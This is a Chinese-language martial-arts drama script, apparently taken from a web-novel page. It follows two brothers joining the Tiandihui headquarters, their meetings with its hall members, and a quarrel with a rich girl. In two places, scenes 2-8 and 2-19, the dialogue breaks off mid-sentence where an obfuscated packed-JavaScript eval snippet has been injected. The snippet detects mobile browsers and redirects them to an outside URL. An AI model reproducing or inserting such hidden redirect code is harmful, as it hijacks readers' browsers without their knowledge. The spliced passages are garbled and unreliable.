顾云飞:你蹭够了没?我这衣裳又不是你的口水巾! 洛宁:(还是蹭个不停)呜呜呜……带我去嘛! 顾云飞:(吼)给我撒开! 洛宁:不撒!不撒!就不撒!除非你带我去! 顾云飞:哟呵,竟敢威胁我?信不信我这就把你扔出去! 洛宁:不信!你才舍不得呢! 他越是想推开她,她越是抱得紧,一副不达目的誓不罢休的样子。最后,顾云飞只好让步。 顾云飞:得得得,算你狠!我带你去! 洛宁:(一蹦三尺高)哈哈,太好了!终于可以吃肉了! 2-2 酒楼,大堂(夜,内) 人物:顾云飞、洛宁、银华 三个人面前的桌子上摆满了肉,洛宁激动得两眼放光,银华已经迫不及待地开吃了。 洛宁:肉肉们,我想死你们了! 银华:唔,唔,好吃!好吃! 顾云飞:(皱起眉头)银华,你怎么也这么馋呀? 银华:老大你有所不知,回来的路上,风老大为了让她快点儿瘦下来,竟然要求咱们也跟着她一起吃素。唉,可把我苦死了! 顾云飞:(打量洛宁)可我看她还是那个样儿。 银华:去的时候胖了三圈,回来的时候瘦了三圈,互抵了!(只顾着说笑,没发现洛宁已经沉下了脸) 顾云飞:(打量银华)可我看你也没瘦啊! 洛宁:他偷懒了! 银华:(冲着洛宁使眼色)丫头,咱俩之前可是说好了! 洛宁:(装作没看见,向顾云飞告状)云飞大哥,这家伙在回来的路上,没练过一天功,说是没力气。 银华:(赌气地)老大,这丫头攒了一百两银子的私房钱,不如这顿就让她来请吧! 顾云飞:好极了!我就喜欢你俩这个样子,多么坦诚呀!只要有你俩在,我不愁没有戏看!哈哈哈! 洛宁和银华气呼呼地瞪着彼此,顾云飞哈哈大笑。 从锦州来到凤凰城的金鹏和余守泰兄弟俩,被安排在客栈里暂住,待风无行向洛元恒禀明此事之后,再正式搬进总会里。几天后,他俩接到消息,让第二天去总会里报到。 2-3 客栈,客房(夜,内) 人物:金鹏、余守泰 金鹏正眯着眼睛在床上打盹儿,脑子里幻想着进入总会后的种种,却听外面传来余守泰的声音。 余守泰:鹏子!鹏子!快开门! 金鹏一个鲤鱼打挺坐起来,飞奔过去打开门,见余守泰满头是汗,怀里抱着一大堆东西。 余守泰:鹏子,快给我搭把手,我快要抱不动了! 金鹏急忙接过来,兄弟俩把东西放在桌子上。 金鹏:哥!这是什么?你去哪儿了? 余守泰:我在福临门里买了些糕点。 金鹏:福临门?那日咱们刚到凤凰城的时候,我好像听银华提起过,说是凤凰城里最大的糕点铺子。 余守泰:对呀!你也该去瞧瞧,那里面好吃的东西简直太多了,我都不知道该挑哪个了。 金鹏:(盯着余守泰)你不是没钱吗?怎么买的? 余守泰:(不高兴地)喂喂喂,你这是什么眼神呀?咱们哥俩在一起这么多年,我是一个什么样的人,你还不清楚吗?我余守泰就算是再穷,也不会干那种偷鸡摸狗的事! 金鹏:这个我知道,我只是担心你是不是又被人骗了…… 余守泰:哥哥我虽然书读得没你多,可福临门那三个字还是认识的。人家是正经的生意人,不是骗子,你别想多了! 金鹏:那你倒是说说,钱从哪儿来? 余守泰:我把陆公子送给你的那把刀当了。 金鹏:(吃了一惊)那可是把宝刀! 余守泰:对呀,所以才当了不少钱嘛! 金鹏:银华若是问起来怎么办? 余守泰:总会的月钱比分会多,大不了过阵子我再把它赎回来。 金鹏:就算你有钱,也不能一下子买这么多呀!(翻看那些东西)哪怕咱俩一天三顿都吃这个…… 余守泰:(打断他的话)这些不是买给咱们吃的。 金鹏:不是买给咱们吃的?什么意思? 余守泰:明天咱们不是要去总会吗?我寻思着,头一回见面,总不能空着手吧?所以就给每一位师兄买了份小小的礼物。 金鹏:(没好气地)你呀你,又来了!上回你给刘恩庆送肉的事,这么快就忘了呀?他帮咱们了吗? 余守泰:怎么没帮?他不是把你的名字写上去了吗?若不是这个,你还进不了总会呢! 金鹏:莫愁花的事,怎么说?他说不是他干的,你信吗? 余守泰:就算是他干的,也是件好事! 金鹏:好在哪里?他害得我差点儿被淘汰掉! 余守泰:正因为这样,你才有机会跟银华交手,才能让风堂主看到你的本事。换个角度讲,不也是在帮你吗? 金鹏:唉,罢了,你说是就是吧! 2-4 天地会总会,前院(日,外) 人物:金鹏、余守泰、银华、弟子若干 第二天一大早,兄弟俩便来到了总会。余守泰把礼物给门房每人送了一份,门房一听说他俩是从分会新选上来的弟子,二话没说,就让他俩进去了。 二人进去之后,这才发现里面大极了,兄弟俩按照门房指的方向走了半天,也没见着和敬堂的影子,正在发愁接下来该怎么办,却见银华跟几个弟子一起,从路的那头过来了。 银华:(一眼就望见了他们)咦,金鹏?余大哥?你俩来了呀! 余守泰:(顿时喜上眉梢,快步走到银华面前)唉呀,银公子,遇见您真是太好了!咱们兄弟俩在这园子里转悠了半天,也没找到和敬堂在哪里。(拿出礼物递给银华)银公子,这是咱们兄弟俩一点儿小小的心意…… 银华:(瞅了一眼摆摆手)福临门的糕点?这东西我早就吃腻了! 见银华不感兴趣,余守泰又把礼物递给他的同伴,同伴也都跟着摆摆手,不肯收下。 同伴:这东西我们都吃过,你们还是留着自己吃吧!你们不是在找和敬堂吗?让银华带你们去吧! 银华:(向同伴抱怨)这个何平,明知道他俩今儿头一回来这里,也没说派个人过来接一下。真是太懒了! 同伴:他不是懒,是太忙了!呵呵! 寒暄了几句之后,同伴离开,银华便带着兄弟俩前往和敬堂。 2-5 天地会总会,和敬堂,何平的屋子(日,内) 人物:银华、何平、金鹏、余守泰、弟子若干 一见到何平,银华便没好气地责备。 银华:何平,你在忙什么呀?人家金鹏和余大哥大老远地从锦州来到这里,你不去接他们也就罢了,还让人家来来回回找了你半天,这算什么待客之道呀? 何平:呀,我把这事儿给忘了!(怀着歉意对兄弟俩)不好意思!不好意思!怪我安排不周! 余守泰:(摆手笑)没事儿!没事儿!往后咱们就是一家人了,你来找我们、我们来找你,不都是一样嘛!(说完又把礼物分给屋里的弟子们) 银华:(笑着对余守泰)余大哥,你真是太客气了!花了不少钱吧? 余守泰:一点儿小小的心意,算不了什么!钱这个东西,说到底还是身外之物,有去就有来!呵呵! 银华:你俩吃饭了没?要是没吃的话,我带你们…… 何平:(接过话头)这会儿去食堂的话,怕是有些晚了。 银华:那就去木兰小院,那里的东西怎么都吃不完。哈哈! 何平:(指着银华笑)难怪你越长越胖,弄了半天是在偷吃呀! 银华:你要是嫉妒的话,也跟着我一起去呗!(冲着金鹏招招手)金鹏,咱们走! 金鹏:还是算了吧,我跟我哥在来的路上已经吃过了。 何平:(对着金鹏)打今儿起,你俩就是总会的弟子了,可以去食堂吃饭。 金鹏/余守泰:食堂? 何平:对呀。总会里有食堂,一天管三顿,花样儿也挺多。吃不惯的话,各堂还有厨房,可以自己烧火做饭。 余守泰:怎么会吃不惯呢?嘿嘿,不怕你们笑话,咱们兄弟俩的胃口向来都很好,只要你们别嫌咱们吃多了就行! 银华:吃多了?呵呵,明天早上,你去瞧瞧从练武场上回来的那帮家伙,一个个恨不得连碗带盘子都一起吞下去! 何平:是啊,这里是总会,不是分会。别的不敢说,但饭菜一定管饱! 余守泰:是吗?那可真是太好了!鹏子,这下咱们兄弟俩可算是掉进福窝里了,呵呵! 银华:(问何平)他俩的住处呢?安排好了没? 何平:已经安排好了,我这就带你们去看看。 2-6 天地会总会,和敬堂,金鹏和余守泰的屋子(日,内) 人物:银华、何平、金鹏、余守泰 何平带着兄弟俩来到为他们准备的屋子里。 余守泰:(兴奋地环顾四周)天哪,这也太大了吧? 金鹏:是啊,像这种房子,若在分会里,最起码要住上十多个人呢。 何平:这是给你们哥俩准备的,你们可以把行李放在这里。 余守泰:(指着自己和金鹏)也就是说,这里只住着我和他两个人? 何平:(点点头)对呀。老大让我把你们哥俩安排在一块儿,如果觉得不方便的话,我可以再另行安排。 余守泰:不用了不用了,这样已经非常好了! 银华:余大哥,总会里人少,房子多得住不完,你俩也可以一人一间。 金鹏:我还是跟我哥住吧,习惯了! 余守泰:呵呵,是啊,我们哥俩这么多年都是这样,还从来没分开住过呢! 何平:那也行!以后你们哥俩若有什么需要,可以跟我说,只要能解决的,我会尽力帮忙。 银华:说对了!(指着何平对兄弟俩)这家伙可是你们和敬堂的管家,甭管有什么事,找他准没错!千万别跟他客气! 余守泰:(笑得连嘴都合不拢)呵呵,知道了!知道了! 银华:(问何平)他俩的衣裳呢?做了没? 何平:也都准备好了,一会儿你可以带他们去领。 银华:嗯,行吧。那个……总会长说了没?什么时候见他们? 何平:总会长今儿有客,怕是要到晚上才能有点儿空。(又压低声音对银华)不过老大说了,只金鹏一个人去就行了,他哥用不着去了。 银华:哦,为何? 何平:他哥是以花匠的身份进来的,严格地说,不能算总会的弟子,所以用不着去见。 银华:哦,这样啊,那他岂不是还要去一趟信义堂? 何平:对呀,这件事就交给你了。 银华:又是我?你怎么事事都让别人去干呀? 何平:因为我忙嘛,呵呵! 2-7 天地会总会,信义堂,走廊上(日,外) 人物:银华、金鹏、余守泰、弟子若干 从和敬堂出来后,银华又带着兄弟俩去了信义堂,被告知洛宏不在,只好又离开。 银华:十次来,九次都不在。这个洛老大,比宫里的皇上还要难见! 余守泰:呵呵,洛堂主兼任着梁州商会的会长,自然比别人更忙一些。实在不行的话,我晚上再过来…… 银华:他在城里城外的许多地方,都有自己的房子,谁知道他晚上到底住在哪里?要我说,你们还是去找紫旭吧,每个月的初八、十八和二十八,他都在这里。 金鹏:(好奇地)初八、十八和二十八?为何是这几日? 银华:(笑着回答)因为在这几日里,各堂都会来找他要钱! 2-8 天地会总会,恩威堂,走廊上(日,外) 人物:银华、金鹏、余守泰 四个堂里面,恩威堂的人数最少,也最冷清。银华带着兄弟俩往里走了半天,也没遇上一个弟子。 银华:(指着不远处的一栋房子)我们老大就在那里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007357|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,跟我来! 2-9 天地会总会,恩威堂,顾云飞的屋子(日,内) 人物:顾云飞、银华、金鹏、余守泰 顾云飞的屋子外面,种着绿竹,远远地就能闻到一股子墨香,屋里的陈设非常简单,只有棋盘、茶具、字画和寥寥的几张桌椅,正如他这个人,着一身黑衣,朴实无华。 顾云飞扫了一眼金鹏和余守泰,冲着他们点点头。 顾云飞:坐下来喝杯茶吧。 兄弟俩乖乖地在椅子上坐下,都十分拘谨。 顾云飞给他们每人倒了杯茶。 顾云飞:尝尝看怎么样? 余守泰:嘿嘿,我还没尝到茶味儿,就已经闻到茶香了。 银华:金鹏,你也尝尝吧。我们老大泡的茶,可是天底下最好的! 金鹏:哦,好。 金鹏伸手去拿茶杯,茶杯忽地一挪,他抓了个空,再去拿,又是一挪,还是抓了个空。银华在旁边偷笑,金鹏不由得抬起头,瞅了顾云飞一眼。 顾云飞:(望着他笑)小子,你接住了这一招,才能喝到我泡的茶。 金鹏点点头,使出浑身解数,去抓那只茶杯,结果却是茶杯没抓到,茶水泼了他一脸,惹得顾云飞哈哈大笑。 顾云飞:小子,茶好喝吗?哈哈哈! 2-10 天地会总会,恩威堂,走廊上(日,外) 人物:银华、金鹏、余守泰 从顾云飞的屋子里出来后,银华对兄弟俩说。 银华:你俩别见怪!我们老大就是这个样子,我小时候也没少被他戏弄过。 金鹏:都说顾堂主是天地会第一高手,今日一见,果然非同凡响!佩服! 银华:他平日里很少显摆,今儿也不知怎么了,估计是见到你俩心里高兴吧! 2-11 天地会总会,若无湖畔(日,外) 人物:银华、金鹏、余守泰、寒冰 离开了恩威堂,银华正打算带兄弟俩去延生堂见一见龚堂主,却意外地在湖边遇上了寒冰。他的岁数与银华相仿,身上有一股淡淡的、闻上去很舒服的药香,令余守泰不由得深吸了一口气。 银华:咦,寒冰,上哪儿去呀? 寒冰:宁儿找我要的东西,我给她送过来了。(打量兄弟俩)这二位是……? 银华:他俩是风老大从分会里新选上来的弟子。 寒冰:哦,是吗?(冲着兄弟俩点点头)幸会幸会! 兄弟俩也向寒冰问好,银华又向他们介绍寒冰。 银华:这是寒冰,大家都叫他寒大夫。你们哥俩的身子若有什么毛病,可以去延生堂里找他。他就算不能把你们给治好了,但也不会把你们给治坏了。不过要记住,千万别跟他探讨武学上的事,因为这个对他来说,实在是太难了! 寒冰:银华呀银华,你可真会说话呀!(众笑) 见寒冰的手里拿着一包东西,银华皱起眉头。 银华:这是什么?不会又是鹿角花吧? 寒冰:正是。 银华:唉,那丫头怎么天天吃这个呀?也不怕把身子吃坏了! 寒冰:我在里面添加了一些温补的药材,应该能中和一下药性。 银华:药就是药,再怎么中和也没用!寒冰,不是我说你,身为大夫,你应该给人治病,而不是让人生病。以后那丫头再找你要这个的时候,你也该劝劝她,让她别再吃了。 寒冰:我倒是觉得,你该去劝劝她姐,只要温公子不来了,她也就不会再吃了。 余守泰:温公子?谁呀? 银华:青阳城温家的公子,一个病秧子! 寒冰:温公子的身子虽然不太好,可他的琴却弹得非常高妙。在咱们梁州,像他这样的琴师,很多人花钱都不一定请得到呢! 银华:她姐倒是没花一文钱,不也照样把他请来了吗? 寒冰:那是看在他姐的面子上,你以为他真的想来呀? 银华:既然两个人都不情不愿,又何必强求呢?这个青姑娘,真是闲来无事瞎折腾! 2-12 天地会总会,若无湖畔(日,外) 人物:银华、金鹏、余守泰 告别了寒冰,三个人沿着湖岸继续往前走。 金鹏:银华,你刚才跟寒大夫在聊些什么呀? 银华:唉,别提了!要我说,这事都怪青姑娘!宁儿是在聚胜古都长大的,又不是在沉香国长大的,她却非要她跟这里的姑娘们一样,琴棋书画样样精通! 金鹏:琴棋书画样样精通?从锦州回来的路上,洛姑娘不是给风堂主画了一幅像吗? 银华:(一听便笑了)你说的是那张笑面虎吧? 余守泰:呵呵,凶是凶了点儿,却也不失为一幅佳作! 银华:画画难不倒她。她的棋虽然下得不怎么样,却也能走上两步;至于书法嘛,有我们老大教她,她可乐意学了。唯独弹琴,简直就像杀她一样!只要一听说温公子要来,她立马就装病,尽管这样,她姐还是不肯放过她。唉! 一阵凉风吹过,送来缕缕花香,有种似曾相识的感觉。 金鹏:咦,这是……? 银华:是木兰花的味儿。 金鹏:木兰花? 银华:总会里有一棵非常神奇的木兰花树,一年四季,花开不败。(指着湖对面对兄弟俩)喏,看见红墙里那些白色的花朵没?就是它了! 余守泰:我在分会时,曾听陆公子谈起过这棵花树,当时就觉得很不可思议。按理说,花开花落皆有时,为何这棵树上的花却是从不凋谢? 银华:(笑着问余守泰)你不是花匠吗?你来给我们解释一下! 余守泰:(想了想)昔日佛陀,在菩提树下悟了道。我想,这棵木兰花树或许也跟菩提树一样,有着能让人明心见性的本事? 银华:(笑得更起劲儿了)明心见性?哈哈哈,你知道那个院子里住着谁吗? 余守泰:谁呀? 银华:那丫头呀!她身上的花香,跟花树上的一模一样,这个又该如何解释?一个成天只惦记着东来顺的烧鸡、西丰源的烤鸭、还有北鼎香的炖鹅的人,总不能就是佛吧?哈哈哈! 2-13 天地会总会,若无湖畔(日,外) 人物:银华、金鹏、余守泰 三个人走着走着,来到了一栋小楼前。 银华:刚才的那杯茶没喝上,着实有些遗憾,不如咱们去听雨轩里再喝一杯吧。 金鹏/余守泰:听雨轩? 银华:(朝小楼努努嘴)就是这里了。 2-14 天地会总会,听雨轩(日,内) 人物:银华、金鹏、余守泰 听雨轩里,摆放着很多画作,金鹏看得入了迷。 银华:都是那丫头画的,还不错吧?你要是想学的话,回头让她教教你。 余守泰:(忙点头答应)好啊好啊!鹏子,你可一定要好好地学哟! 金鹏:(皱皱眉头)哥,你是不是有点儿太心急了?人家洛姑娘还没说要收我这个徒弟呢! 银华:这个简单!等她回来了,我便跟她说。那丫头爱显摆,你若能叫她一声师父,她肯定乐坏了。哈哈! 11. 第二篇 总会的四个堂 梁州,凤凰城 2-15 天地会总会,辞心居(夜,内) 人物:洛元恒、风无行、金鹏 总会长洛元恒,是一个面容清瘦、精神矍铄的老头儿。头一回见到他,金鹏紧张极了,连声音都在发抖。 洛元恒:(打量金鹏)小伙子看上去挺精神,你以前是干什么的? 金鹏:回总会长的话,弟子以前……(尚有些犹豫,因为来之前余守泰特意嘱咐过他,让他千万别提格斗场的事) 风无行:金鹏,如今你已经是总会的弟子了,正所谓英雄不问出处,不管你以前是干什么的,但说无妨。 金鹏:(点点头,鼓起勇气)回总会长的话,弟子以前靠的是在格斗场上打拳为生。 洛元恒:格斗场? 风无行:(向洛元恒解释)就是要下注的那种。 洛元恒:(皱起眉头)这类格斗场,不是早就被禁了吗?怎么又有了? 金鹏:总会长,您说得没错,这类格斗场,其实早就被禁了,所以他们只敢在夜间偷偷地开办。 洛元恒:在夜间开办就没人知道吗? 金鹏:大家都知道,但大家都装作不知道。 洛元恒:哦,为何? 金鹏:因为当地的官员,早就被他们买通了,有的甚至自己就是格斗场的场主。 洛元恒:(呵呵一笑)小伙子说话挺直嘛!那我倒要问问你,当初为何要来天地会? 金鹏:总会长,实不相瞒,弟子当初来天地会,是被逼无奈之举。 洛元恒:哦,说来听听。 见洛元恒感兴趣,金鹏便将自己与尖刀帮结下梁子的过往,一五一十地说了出来。 风无行:(对着洛元恒)锦州那一带有很多小帮派,尖刀帮只是其中之一,他们之间经常为了争地盘、抢生意而大打出手。至于打假拳操控比赛,在当地的格斗场上屡见不鲜,有很多天赋不错的选手,在面对丰厚的报酬时,也不得不选择低头。 洛元恒:金鹏,打假拳虽然令人不齿,却能带来高额的回报,那么多人都愿意,你为何不肯呀? 金鹏:不怕总会长您笑话,其实弟子从小到大就是一根筋,连撒个谎都不会,更不用说去打假拳了。面对眼前的对手,我明明打得过、却偏要装作打不过,说实在的,我办不到!反正锦州那个地方的格斗场也不止一处,此处不留人、自有留人处,我凭自己的本事吃饭,为何要看他人的脸色呢? 洛元恒:那你来了之后,有没有离开的打算? 金鹏:(不好意思地笑了)嘿嘿,其实刚来的时候,确实动过这样的念头,因为像我这样的性子,不管在哪里都容易受排挤,我又不愿意低三下四地去迎合别人,所以很难在一个地方待得太久。不过总会长您放心,这次能进入总会,真是我天大的福气!我一定会好好地干,绝不再像以前那般任性!您瞧好了,我一定不会让您失望!(越说越激动,目光炯炯有神) 洛元恒:(笑着对风无行)看见没?我就说这小伙子挺精神嘛! 2-16 天地会总会,和敬堂,金鹏和余守泰的屋子(夜,内) 人物:金鹏、余守泰 金鹏回来后,余守泰便迫不及待地问他跟洛元恒聊了些什么。在听过金鹏的讲述之后,余守泰的脸色变得很难看。 余守泰:你呀你,我不是跟你说过了吗,千万别在总会长面前提格斗场的事儿,你怎么就不长记性呀? 金鹏:起初我也没打算说,可他们一个个都盯着我,尤其是总会长的那双眼睛,像是能把我看穿了…… 余守泰:(长叹一声)唉,完了!这下完了! 金鹏:哥,你是不是想多了?哪有这么严重啊? 余守泰:鹏子,我问你,如果你媳妇…… 金鹏:哥,我还没娶媳妇呢! 余守泰:你先听我把话说完! 金鹏:行行行,你说吧。 余守泰:如果你媳妇在外头有了别的男人,她还会跟你好好地过吗? 金鹏:那肯定不会了。 余守泰:对呀。如果这件事又被你知道了,你还会不会把挣的钱交给她呢? 金鹏:我的钱不都在你那里吗?你说给就给,你说不给就不给,我没意见! 余守泰:你……鹏子呀,你怎么就不明白我的意思呢? 金鹏:我明明没媳妇,你却说我有媳妇,我哪知道你到底是什么意思呀? 余守泰:唉,罢了,我还是跟你直说了吧。 金鹏:早就该这样。 余守泰:鹏子,你知道自己错在哪儿吗? 金鹏:哪儿? 余守泰:此处不留爷,自有留爷处。 金鹏:是“此处不留人,自有留人处”,当着总会长的面,我可不敢那样说。 余守泰:甭管是什么,都不该说这句话。 金鹏:这句话怎么了?有什么不对吗? 余守泰:你想想,当初你进入分会,是不情不愿地进去的;如今你进入总会,又是误打误撞地进来的…… 金鹏:那又怎样?我已经在总会长面前发过誓了,以后一定会好好地干…… 余守泰:问题是总会长已经知道了你有二心,他还会把你当成自己人吗? 金鹏:可我没二心呀! 余守泰:那你还说什么“此处不留人,自有留人处”?你就不怕总会长想多了? 金鹏:哥,你又不是总会长,哪里会知道他在想些什么?要我说,是你想多了才对! 2-17 天地会总会,信义堂,紫旭的屋子(日,内) 人物:紫旭、余守泰 又过了几日,适逢十八,余守泰便按照银华的指示,去信义堂里找紫旭,这一回,他很容易就见着了他。也许是因为常年在洛宏身边做事的缘故,紫旭的模样,看上去比银华和寒冰要老练许多。 紫旭:你说你的祖上是果农? 余守泰:呵呵,对呀,我打小就跟着大人们一起在果园里干活儿…… 话没说完,已被紫旭摆手打断。 紫旭:别的都好说,就是那棵木兰花树,你一定要好生伺候,万不可出任何差错。 余守泰:这个我明白!花树是总会长的宝贝,我就算是拼了这条老命,也一定会把它伺候好了!人在树在,呵呵! 紫旭点点头,拿出一袋银钱递给余守泰。 紫旭:这个你先拿着,有什么需要可以再来找我。 余守泰:哦,好的好的。 余守泰接过钱袋子,只轻轻掂了下,便知数量不少,心里顿时乐开了花。 紫旭:干得好的话,以后还能挣到更多。 余守泰:嘿嘿,公子,您有所不知,我余守泰打小就是一个老实孩子,钱这个东西,甭管您给还是不给、给多还是给少,只要我揽下了这桩活儿,就一定会踏踏实实地干到底! 紫旭:(点点头)嗯,希望如此。 2-18 天地会总会,和敬堂,金鹏和余守泰的屋子(夜,内) 人物:金鹏、余守泰 余守泰喜滋滋地把钱袋子放在金鹏面前。 余守泰:数数看,一共有多少? 金鹏打开数了数,跟着大吃一惊。 金鹏:天呐!整整二百两银子,一下子全给了?这未免也太豪爽了吧! 余守泰:可不是嘛!天底下,也就只有洛堂主才有这样的魄力! 金鹏:你见到他了没?他长什么样子? 余守泰:(得意洋洋地)我虽然没见到他,可我见到了他身边的人。我这个人,看人的眼光向来很准,我一见到他身边的人,就能猜出他是一个什么样的人。 金鹏:那你倒是说说,他是一个什么样的人? 余守泰:肯定跟陆公子不一样。 金鹏:(扑哧一笑)这还用问吗?陆公子何时给过你这么多钱呀! 余守泰:(一脸的鄙夷)他给我钱?得了吧!连他自己还要伸手找他老子要钱呢!所以我常常跟你说,这人与人之间,就是不一样!你瞧瞧人家洛堂主,一个人挣钱,养活了全家人…… 金鹏:岂止是全家人,总会和分会上上下下这么多人,也都靠他养活。哥,你说他累不累呀? 余守泰:嘿嘿,这下你知道人家的本事了吧?(压低声音)其实,你别看咱们天地会的头儿是总会长,一旦离开了洛堂主的支持,他也什么都不是! 金鹏:(不高兴地皱起眉头)哥,你怎么可以这样说呢? 余守泰:难道不是吗?甭管是大国还是小家,若没了钱,日子都没法儿过! 金鹏:洛堂主是总会长的长孙,天地会的这把交椅,早晚一天是他的。 余守泰:对呀,所以他才干得这么卖力嘛! 金鹏:问题是咱们这些人从来到现在,不曾给会里交过一文钱,还月月从会里领走不少钱,这样的日子,感觉不像是真的。 “啪!”余守泰给了金鹏一记耳光。 金鹏:(捂着被打的脸)哎哟!哥,你打我干嘛? 余守泰:疼不疼? 金鹏:当然疼了! 余守泰:那你还说不是真的! 金鹏:我只是觉得,咱们得了人家的好处,是不是也该替人家办点儿事呀? 余守泰:俗话说得好,养兵千日用兵一时。只要你是个英雄,就一定会有用武之地!嘿嘿! 2-19 洛府,木兰小院,木兰花树下(日,外) 人物:金鹏、余守泰、欧阳兰兰、仆人若干 余守泰这个花匠,走马上任后的第一件事,就是前往木兰小院,一睹那棵花树的绝世风采。得知他要去木兰小院,金鹏也忍不住好奇,抽出空来一同前往。 余守泰:啧啧,简直太美了! 兄弟俩围着木兰花树,转了不知道多少圈,嘴里接连地发出一声又一声的惊叹。见花蕊上还挂着露珠,金鹏忍不住伸手去摸,却被余守泰挡了回去。 余守泰:(呵斥)别碰! 金鹏:我只想摸一下,连摸一下都不行吗? 余守泰:不行!人家紫旭说了,这棵树上的花是有数的,若是一不小心被你碰掉了,怎么办? 金鹏:有数的?有多少? 余守泰:十年只开一朵花。 金鹏:(大吃一惊)十年才开一朵花?(望着一树繁花)照这么说,这棵树最起码也有上万年了! 余守泰:对呀!你想想,上万年前,别说是咱俩,连沉香国都不知道在不在呢! 金鹏:那他们又是怎么知道的? 余守泰:数一数树上的花不就行了! 金鹏:哦,也是啊。 余守泰抡起锄头,这就要开挖,却被金鹏拦住。 金鹏:哥,你动作轻点儿,别吵醒了人家洛姑娘! 余守泰:嘿嘿,鹏子,哥问你,你来这里到底是为了看花还是看人? 金鹏:(脸微微一红)嘿嘿,果然什么都瞒不过你。 余守泰:花,你可以随便看;但人,这会儿不在。 金鹏:(意外)哦,你怎么知道? 余守泰:我现在可是洛府的花匠,无论前庭、中庭还是□□,没有我不能去的地方。以我的交际能力,你觉得还会有我不知道的事吗? 金鹏:瞧把你嘚瑟的! 余守泰:今儿若不是我,凭你还进不了这个木兰小院呢! 金鹏:说得好像你是这园子里的主人似的。 余守泰:我虽然不是这园子里的主人,但这园子里的花草都归我管!就连这棵木兰花树,现在也由我照看。 金鹏:那你可得放仔细点儿,别让总会长罚你! 余守泰:那是当然!栽花种果,可是我余守泰的老本行。小时候大人们让我干这个,我还不乐意。如今来到总会,一拿起锄头,踏上这松软的泥土,反倒觉得非常开心,就像倦鸟归巢,我想我天生就是干这个的命!这就好比你吧,我以前就说过你不平凡,你瞧,被我说中了吧!如今咱俩可都是总会的弟子了,以后的小日子肯定会越来越甜! 金鹏:这才刚开头呢,你就已经飘飘然了。 余守泰:一想到每年都有二百两银子,你说我能不飘飘然吗?咱俩长这么大,还从来没挣到过这么多钱呢!那日我在信义堂,人家紫旭还说了,干得好的话,以后还能挣到更多!嘿嘿,不瞒你说,这阵子我连做梦都在笑呢! 一名女子从外面进来,岁数与洛宁相仿,妆扮得极其明艳动人。 欧阳兰兰:(进门就大喊)嫂子!嫂子!嫂子!…… 余守泰:这位姑娘,你找谁呀? 欧阳兰兰:我找我嫂子! 余守泰:谁是你嫂子呀? 欧阳兰兰:还能是谁?当然是宁姐姐了! 兄弟俩一听便愣住了。 金鹏:洛姑娘?她何时成了你的嫂子? 余守泰:是啊,二小姐不是还没出阁吗? 欧阳兰兰:她现在虽然还没出阁,但她将来肯定会成为我的嫂子! 金鹏:怎么?她跟你哥有婚约呀? 欧阳兰兰:没有呀! 金鹏:她喜欢你哥? 欧阳兰兰:这个嘛……她倒是没说过,但至少不讨厌哪! 金鹏:既没有婚约、也没说喜欢你哥,你凭什么叫人家嫂子? 余守泰:是啊,你这样一进门就大声嚷嚷,让别人听见了多不好呀! 欧阳兰兰:(两眼一瞪)谁敢说不好?试问在梁州这个地方,除了我哥之外,还有谁能配得上宁姐姐? 金鹏:你哥是谁呀? 欧阳兰兰:一看你俩就是新来的,连这个都不知道。告诉你们吧,我哥就是欧阳世家的少爷欧阳明真! 余守泰:欧阳世家?噢,我知道!我知道!就是那个紫蔚城里首屈一指的富户、财产多到连自己都数不清的欧阳世家! 欧阳兰兰:(一脸得意)不错嘛,算你见过世面! 余守泰:那你就是欧阳世家的千金了? 欧阳兰兰:这还用问吗? 余守泰:哎呀,幸会幸会!欧阳小姐,我听说你们欧阳世家跟洛堂主在一起做买卖…… 欧阳兰兰:现在在一起做买卖,将来还要结成亲家呢! 金鹏:(鼻子里冷冷地哼了一声)哼,不就是有点儿钱吗?有什么了不起! 欧阳兰兰:(脸倏地一沉)你说什么呢?什么叫有点儿钱?你没听见他刚才说的吗?我们家的财产多到连我们自己都数不清,你知道那是多少吗?瞧你这副穷酸样儿,我想你肯定不知道! 金鹏:(顿时恼了)怎么?有钱了不起呀! 欧阳兰兰:(双手叉腰,越发蛮横起来)就是比你这个穷鬼强! 金鹏:你们家的钱再多,有一个子儿是你挣的吗? 欧阳兰兰:不是我挣的,难道是你挣的呀?你就算在这里种上一辈子的树,也抵不上本姑娘一个月的开销! 金鹏:呵呵,这么说,你可真是一个败家女呀! 欧阳兰兰:我花的是自己家的钱,与你何干?有本事你也挣呀! 见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007358|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人越吵越凶,余守泰急忙从中劝和。 余守泰:行了行了,你俩都少说一句吧!(先呵斥金鹏)鹏子!你跟她一个小姑娘吵什么呀?(又劝欧阳兰兰)欧阳小姐,二小姐她没在家,您还是改天再来吧! 虽然余守泰拦着金鹏,好言好语地给欧阳兰兰赔不是,可那欧阳兰兰自幼骄纵惯了,哪里受得了这般委屈,此时不依不饶,嘴里骂个不休,非要争个高低输赢,气得金鹏差点儿要动手打她。最后,还是木兰小院里的两个丫鬟,听见了这边的动静,匆匆赶来,好说歹说把欧阳兰兰请了出去,方才结束了这场骂战。 金鹏:(气呼呼地)哼!简直就是一个泼妇嘛! 余守泰:泼妇也好,千金也罢,咱们都惹不起!唉! 2-20 天地会总会,若无湖畔(夜,外) 人物:银华、金鹏、洛青 晚饭后,银华叫上金鹏,二人一起往听雨轩的方向走去。 银华:(笑着把手搭在金鹏的肩上)听说你今天把欧阳兰兰给怼了? 